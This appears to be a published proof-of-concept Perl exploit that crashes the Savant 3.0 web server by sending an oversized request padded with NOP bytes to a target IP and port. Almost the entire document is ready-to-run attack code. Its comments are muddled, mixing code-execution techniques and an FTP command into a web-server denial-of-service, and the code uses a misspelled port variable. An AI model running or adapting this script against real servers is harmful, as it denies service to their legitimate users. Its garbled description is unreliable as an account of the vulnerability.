#!/usr/bin/perl

use IO::Socket;

# Exploit Title: Savant 3.0 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 27 january 2024
#https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download
# Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing    
# Notification vendor: No reported
# Tested Version: Savant 3.0 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The web server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $sc = "\x90" x 245;

    my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n";

my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit;
$s->send($buf);
close $s;

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {


                            _/|     
                           // o\    
                           || ._)  
                           //__\   
                           )___(   

      [+] Savant 3.0 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }